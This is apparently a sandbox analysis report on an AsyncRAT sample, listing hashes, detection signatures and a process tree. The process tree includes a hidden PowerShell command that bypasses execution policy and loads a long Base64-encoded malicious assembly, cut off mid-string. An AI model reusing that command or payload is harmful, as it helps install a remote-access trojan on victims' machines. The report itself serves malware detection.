Edit tour

Windows Analysis Report
bad.txt

Overview

General Information

Sample name:	bad.txt
Analysis ID:	1578479
MD5:	d02c187310eadf963c0d57378b8595fc
SHA1:	c8c42bd1d0eee9c27a7718b478492ca5835b04dd
SHA256:	e312dfddeb5ba9867345de8a4926b449854fb3ea90355c0f4150bbcb49593852
Infos:

Detection

AsyncRAT

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Yara detected AsyncRAT

Bypasses PowerShell execution policy

Connects to a pastebin service (likely for C&C)

Injects a PE file into a foreign processes

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Base64 MZ Header In CommandLine

Sigma detected: Invoke-Obfuscation STDIN+ Launcher

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Suspicious powershell command line found

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Installs a global mouse hook

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: AspNetCompiler Execution

Sigma detected: Change PowerShell Policies to an Insecure Level

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64_ra

notepad.exe (PID: 6984 cmdline: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\Desktop\bad.txt MD5: 27F71B12CB585541885A31BE22F61C83)

svchost.exe (PID: 7140 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 1364 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\Desktop\bad.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5508 cmdline: "powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('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BHI3AABwKA0AAAZvNwAACigOAAAGCiAVNAAAKDMAAAooOAAACn4QAAAEbx4AAAoGFigMAAAGFig5AAAKKgAAABMwAwAwAAAABAAAEQNvOgAAChfaF9YX2hfWjTQAAAEKAwYWbzsAAAoCGgYoEgAABhb+ASwGczwAAAp6KiYCA4EBAAAbAyoAABMwBQBeAAAABQAAERaNNAAAAQoWCwIaBhYSASgRAAAGJgcWNwoHbiD/fwAAajEGczwAAAp6AhoSAAduF2rbhBfWF9oX1o00AAABKAEAACsHEgEoEQAABhb+ASwGczwAAAp6BhZzPQAACioAABMwCAAwAAAABgAAEQIoFQAABgoGbz4AAAoWFhcg/w8PABcUcz8AAAoWFHNAAAAKb0EAAAoCBigTAAAGKpYgAAwAACgtAAAKcy4AAAoCb0IAAApyaQAAcH4iAAAKb0MAAAoqAAATMAQAVgMAAAAAAAAejTQAAAEl0BEAAAQoRAAACigIAAAGHwyNNAAAASXQFgAABChEAAAKKAgAAAYoAgAAK4AEAAAEHo00AAABJdARAAAEKEQAAAooCAAABh8VjTQAAAEl0BkAAAQoRAAACigIAAAGKAMAACuABQAABB6NNAAAASXQEQAABChEAAAKKAgAAAYfEI00AAABJdAaAAAEKEQAAAooCAAABigEAAArgAYAAAQejTQAAAEl0BEAAAQoRAAACigIAAAGHxWNNAAAASXQHQAABChEAAAKKAgAAAYoBQAAK4AHAAAEHo00AAABJdARAAAEKEQAAAooCAAABh8QjTQAAAEl0BgAAAQoRAAACigIAAAGKAYAACuACAAABB6NNAAAASXQEQAABChEAAAKKAgAAAYfDo00AAABJdAcAAAEKEQAAAooCAAABigHAAArgAkAAAQejTQAAAEl0BEAAAQoRAAACigIAAAGHxKNNAAAASXQEgAABChEAAAKKAgAAAYoCAAAK4AKAAAEHo00AAABJdARAAAEKEQAAAooCAAABh8RjTQAAAEl0BcAAAQoRAAACigIAAAGKAkAACuACwAABBuNNAAAASXQFAAABChEAAAKKAgAAAYfFI00AAABJdATAAAEKEQAAAooCAAABigKAAArgAwAAAQejTQAAAEl0BEAAAQoRAAACigIAAAGHw6NNAAAASXQGwAABChEAAAKKAgAAAYoCwAA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AQC4EAAgAQBzCAAAAQAlEQAgAgBzCAAAAQB4CAAAAgCnBwAAAQAKDAAAAgDbBQAAAwB+EQAAAAAAAAAAAQBIBgAAAQA4DAAAAQAkEgAAAQBUCAAAAgBjDQIAAwBUDwAABAAaDAAABQCABwAAAQBUCAAAAgBjDQEAAwBUDwAAAQBNCAAAAgC4DwAAAQCYEQAAAgB4CwAAAQBNCAAAAQBNCAAAAQDbEgAAAQBvEQAAAgCnBwAAAQBbCAAAAQBbCAAAAgBIDAAAAwBvEQAAAQC9EQAAAQBvEQAAAgCnBwAAAQB5BwAAAgDUBQAAAQB5BwAAAgDUBQAAAwBIDAAABABvEQAAAQC9EQAAAQBvEQAAAgCnBwAAAQB5BwAAAgDUBQAAAQB5BwAAAgDUBQAAAwBIDAAABABvEQAAAQC9EQAAAQBvEQAAAgCnBwAAAQB5BwAAAgDUBQAAAQB5BwAAAgDUBQAAAwBIDAAABABvEQAAAQC9EQAAAQBvEQAAAgCnBwAAAQB5BwAAAgDUBQAAAQB5BwAAAgDUBQAAAwBIDAAABABvEQAAAQC9EQAAAQBvEQAAAgCnBwAAAQBbCAAAAgBFEQAAAwAzDAAABAC5CAAABQB+EQAAAQBbCAAAAgBFEQAAAwAzDAAABAC5CAAABQB+EQAABgBIDAAABwBvEQAAAQC9EQAAAQBvEQAAAgCnBwAAAQAuEQAAAgBrBQAAAwB/DgAABACUCwAABQAYDQAAAQAuEQAAAgBrBQAAAwB/DgAABACUCwAABQAYDQAABgBIDAAABwBvEQAAAQAYDQAAAgC9EQAAAQBvEQAAAgCnBwAAAQAuEQAAAgBrBQAAAwB/DgAABACUCwAABQBaBwAAAQAuEQAAAgBrBQAAAwB/DgAABACUCwAABQBaBwAABgBIDAAABwBvEQAAAQB/DgAAAgBaBwAAAwC9EQAAAQBvEQAAAgCnBwAAAQAuEQAAAgBrBQAAAQAuEQAAAgBrBQAAAwBIDAAABABvEQAAAQC9EQAAAQBvEQAAAgCnBwAAAQBoCAAAAgB9CAAAAwCdEAAABACMEAAABQB9EAAABgDHEAAABwDaEQAACACEEgAACQARDgAACgBQDQAAAQBoCAAAAgB9CAAAAwCdEAAABACMEAAABQB9EAAABgDHEAAABwDaEQAACACEEgAACQARDgAACgBQDQAACwBIDAAADABvEQAAAQARDgAAAgBQDQAAAwC9EQkALQ8BABEALQ8GABkALQ8KACkALQ8QADEALQ8QADkALQ8QAEEALQ8QAEkALQ8QAFEALQ8QAFkALQ8QAGEALQ8VAGkALQ8QAHEALQ8QAHkALQ8QAIkALQ8aAJEALQ8GAJkALQ8gAKEALQ8GAKkALQ8GANEALQ8mAOEALQ8GAOkALQ8GALEALQ8GADkBLQgsADkBOBI1ALkALQ87ANkALQ8GAFEBkAdDAFkBLwNMAFkBAAxSAGEB+Q5bAGEBnwuDAHEBBgGKAHkB1RKPAIEBHQ6SAIkBLQ8GAJEBDwGVAIEBiwucAJEBrAKgAKkBRRKnAJEBrxC0AHEBDwG6ALkBSwe/ALkBsgwGAMEBtwzLANEBLQ8GADkBnQfSAOkB9AfZAHkBDwzmAHkBDBHqAPEBIg70APkB5hH5ABQAFQkYARQAkRElARwA9Ac0AVkBPgZMABECnxH0ABkCIgzmABkC+Qw9ASECLQ8GAPEALQ89AfEAegxUATECLQ9aAUECLQ9kASkCwwd1AdEB6At9AXkBzQeCAWECKBKIAXEC9wvEAXkBYRHJAQgAsADhAQgAtADmAQgAuADrAQgAvADwAQgAwAD1AQgAxAD6AQgAyAD/AQgAzAAEAggA0AAJAggA1AAOAggA2AATAggA3AAYAggA4AAdAggA5AAiAggA6AAnAggA7AAsAggA8AAxAggA9AAOAggA+AA2AicAgwAYAikAowD3BC4ACwDPBC4AEwDYBC4AGwD3BC4AIwAABS4AKwAKBS4AMwAKBS4AOwAKBS4AQwAABS4ASwAQBS4AUwAKBS4AWwAKBS4AYwAoBS4AawBSBS4AcwBfBUMAiwCpBUMAkwAYAkMAmwAYAkkAowD3BGMAmwAYAmMAiwDrBaMAmwAYAmQBswAYAoABqwAYAoQBswAYAmMCmwAYAgcA3gILAN4CTADbAggABgA7AgEAAAAAABAAAQAAAAAAEQABAAUAAAAUAAEADAAAABUAAQAOAAAAFgABABAAAAAXAAEAEQAAABgAAQASAAAAGQABABQAAAAaAAEAFQAAABsAAQBBAAAAHABlAMYA4ADvAEQBTwECAAEAAwADAAAAig7ABAAA6gjFBAAAqBHKBAIAAgADAAIAAwAFAAEABAAFAAIABQAHAP0ApQxYAAgBKQFAARMA+wMBAEMBFQA2EQEAQAEjAKUSAgBAASUAvRICADBWAAARADhWAAASAFBWAAATAGhWAAAUAHBWAAAVALhWAAAWAMhWAAAXAOBWAAAYAPBWAAAZAAhXAAAaABhXAAAbAChXAAAcADhXAAAdAASAAAABAAAAAAAAAAAAAAAAAP8FAAAEAAAAAAAAAAAAAADPARQHAAAAAAQAAAAAAAAAAAAAAM8B8gwAAAAABAAAAAAAAAAAAAAAzwG+CAAAAAAKAAAAAAAAAAAAAADYAR0HAAAAAAQAAAAAAAAAAAAAANgBMA4AAAAAAAAAAAEAAAA4EAAABgAEAAcABAAIAAQACQAEAAoABAALAAQADAAEAA0ABAAOAAQADwAEABAABAARAAQAEgAEABMABAAUAAUAFQAFABYABQAXAAUAGAAFABkABQAaAAUAGwAFABwABQAAAAAAFwDiAwAAAAApAPwGKABKARYAkgEWAJcBFgCcARYAoQEWAKYBFgCrARYAsAEWALUBFgC6ARYAvwEAAABfX1N0YXRpY0FycmF5SW5pdFR5cGVTaXplPTIwADVBQzMwQjI4RkYzRkJEQzI1RDJFNTA1QkE2MEM3RDAwQjQ1OTU4Mzg5MEE3QzIxMjJCQjk0RTFDRTJFMzYxMzAAPD5wX18wADFDMzI5OTI0ODY1NzQxRTAyMjJEM0VBRDIzMDcyQ0ZCRUQxNEY5NkUyQjA0MzI1NzMwNjhFQjA2NDA1MTMxMDEAX19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0yMQBEQ1BBXzEAQ2FsbFNpdGVgMQBSZXNlcnZlZDEAX19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0xMgBrZXJuZWwzMgBUb1VJbnQzMgBUb0ludDMyAEE3NDIyMEZEOUU3Njk3NkRFRDQzNjREQTE4MzVCNzlERDUzMjI4RTFFNUYyNEM2Nzk0MENBNUQ1NTQ2RjY5ODIAUlBFMgBSZXNlcnZlZDIANkUwMjM1QTk0MjA3QjA5OUNENjg1NEQ3Qzg1QzBCQTREOTk2NDA4OUY0QzI0OTAzNDMzNDFFNUNCRjk0MEMxMwA8Pm9fXzMzAEZ1bmNgMwBfX1N0YXRpY0FycmF5SW5pdFR5cGVTaXplPTE0AEY5MTkxNTU1NTI2MDlEQzg3NzUwQzdDQTMyOTNENEQ4NDk5Njc2MDM1ODFCRTRFMzQ0RjU1RkE1NURFQzU4RDQANzFDNjBFOUUzMTFBRTlBMEM0N0EzRDc1RTQ2MkE2ODgyM0QyREYwRTQ4Qjc1QjE5MURDQjZEMEZCM0E3QjUzNQBfX1N0YXRpY0FycmF5SW5pdFR5cGVTaXplPTY1AF9fU3RhdGljQXJyYXlJbml0VHlwZVNpemU9NQBfX1N0YXRpY0FycmF5SW5pdFR5cGVTaXplPTE2AFRvSW50MTYARTY2NDhEREU2MTkzRDQxRjI4OTNDN0ZGQUIyM0RDQjMwRjYwNEU0RkY2QTRCMjMyOUFBNENBMjYxQUY3NTc1NgBfX1N0YXRpY0FycmF5SW5pdFR5cGVTaXplPTE3AF9fU3RhdGljQXJyYXlJbml0VHlwZVNpemU9MTgAZ2V0X1VURjgANjkyREEyODQzQ0JBQ0E5OUI4M0E5OTk0RTRBODRFREQwNzgyQTAxMDM3OTRFRUJBRjNDRENBNUY0Q0RGNTA4OQA0ODM2Mjg0QjlGMTc4REFDNTM5MkFDOEI0ODczNDgzNTREQTM4QTk5RUE0ODcyNEJBRDVEMzY5NjJGMzMyNEU5ADxNb2R1bGU+ADxQcml2YXRlSW1wbGVtZW50YXRpb25EZXRhaWxzPgBDQQBVUEEAUFJPQ0VTU19TRVRfUVVPVEEATG9hZExpYnJhcnlBADM2QzFEQTMzOEZDQjVFMzcyNEQxMkY0QThFNjk4NUIwM0Q2M0JBOUVFQkQ4MUUxQkY4RUY3QUVGQTM2NUY5NEIAODA3NzhEMDI5OTlGMEZFNzY2MjREMjQ2RTZEMDMyOTI1OEUzODI0MDBDRDFFRkQ3MTc4NjE3RTdGQTkyNzYwQwBXUklURV9EQUMAX0MAMkMwNDEyREU3QzlDQTg5QkExNzQxNDA1QUZFNDJCREJCRjVDNTkzQUY0MDFCQUU3QUFEOUU3NjE2MUNCMTUxRABQUk9DRVNTX0NSRUFURV9USFJFQUQAUFJPQ0VTU19WTV9SRUFEAFNUQU5EQVJEX1JJR0hUU19SRVFVSVJFRAA0Nzc3NkZFMDQyNEZFNjhBMDc0N0UzQ0M4MzI3NTVFQzk4OTQxQjNEQkNCNjhEQTYzNDRFRUI4Q0YzRDY3NUFFAFBST0NFU1NfRFVQX0hBTkRMRQBCQTRNRQBEZWxlZ2F0ZVdvdzY0R2V0VGhyZWFkTUlDNE1FAERlbGVnYXRlR2V0VGhyZWFkTUlDNE1FAERlbGVnYXRlV293NjRTZXRUaHJlYWRNSUM0TUUARGVsZWdhdGVTZXRUaHJlYWRNSUM0TUUAUEw0TUUAX0RTNE1FAFBST0NFU1NfU1VTUEVORF9SRVNVTUUAX0RPWF9SUEUAUFJPQ0VTU19URVJNSU5BVEUAREVMRVRFAFBST0NFU1NfVk1fV1JJVEUAU1lOQ0hST05JWkUAZ2V0X0FTQ0lJAEsAUkVBRF9DT05UUk9MAFBST0NFU1NfUVVFUllfTElNSVRFRF9JTkZPUk1BVElPTgBQUk9DRVNTX1NFVF9JTkZPUk1BVElPTgBQUk9DRVNTX1FVRVJZX0lORk9STUFUSU9OAFBST0NFU1NfVk1fT1BFUkFUSU9OAElURV9PV05FUgBfX1IAX0RTAFBST0NFU1NfQUxMX0FDQ0VTUwBQUk9DRVNTX0NSRUFURV9QUk9DRVNTAFQAR0hWAF9MQTRNRVBMWgB2YWx1ZV9fAG1zY29ybGliAE1pY3Jvc29mdC5WaXN1YWxCYXNpYwBNaXNjAFRocmVhZElkAFByb2Nlc3NJZABHZXRQcm9jZXNzQnlJZABieXRlc1JlYWQARGVsZWdhdGVSZXN1bWVUaHJlYWQAdGhyZWFkAGxwbkxlbmd0aE5lZWRlZABTeW5jaHJvbml6ZWQAR2V0TWV0aG9kAG1ldGhvZABHZW5lcmljQWNlAENvbW1vbkFjZQBJbnNlcnRBY2UAUmVwbGFjZQBkZWZhdWx0SW5zdGFuY2UARW5kSW52b2tlAEJlZ2luSW52b2tlAFRocmVhZEhhbmRsZQBSdW50aW1lRmllbGRIYW5kbGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAUHJvY2Vzc0hhbmRsZQBwcm9jZXNzSGFuZGxlAGhhbmRsZQBUaXRsZQBhcHBsaWNhdGlvbk5hbWUAbmFtZQBjb21tYW5kTGluZQBXZWxsS25vd25TaWRUeXBlAFZhbHVlVHlwZQBTZWN1cml0eVByb3RvY29sVHlwZQB0eXBlAFN5c3RlbS5Db3JlAGdldF9DdWx0dXJlAHNldF9DdWx0dXJlAHJlc291cmNlQ3VsdHVyZQBNZXRob2RCYXNlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAENyZWF0ZQBNdWx0aWNhc3REZWxlZ2F0ZQBFZGl0b3JCcm93c2FibGVTdGF0ZQBDYWxsU2l0ZQBEeW5hbWljQXR0cmlidXRlAFNUQVRocmVhZEF0dHJpYnV0ZQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBHdWlkQXR0cmlidXRlAEdlbmVyYXRlZENvZGVBdHRyaWJ1dGUAVW52ZXJpZmlhYmxlQ29kZUF0dHJpYnV0ZQBEZWJ1Z2dlck5vblVzZXJDb2RlQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUARWRpdG9yQnJvd3NhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBTZWN1cml0eVBlcm1pc3Npb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEJ5dGUAdmFsdWUAX0RPWF9SUEUuZXhlAGdldF9TaXplAGJ1ZmZlclNpemUAU2l6ZU9mAFN5c3RlbS5UaHJlYWRpbmcARW5jb2RpbmcAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBHZXRfTXlfU3RyaW5nAERvd25sb2FkU3RyaW5nAFRvU3RyaW5nAEdldFN0cmluZwBwYXRoAGdldF9MZW5ndGgAbkxlbmd0aABnZXRfQmluYXJ5TGVuZ3RoAGxlbmd0aABBc3luY0NhbGxiYWNrAGNhbGxiYWNrAE1hcnNoYWwAU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbABSYXdBY2wAZ2V0X0Rpc2NyZXRpb25hcnlBY2wAU3lzdGVtLkNvbXBvbmVudE1vZGVsAGFkdmFwaTMy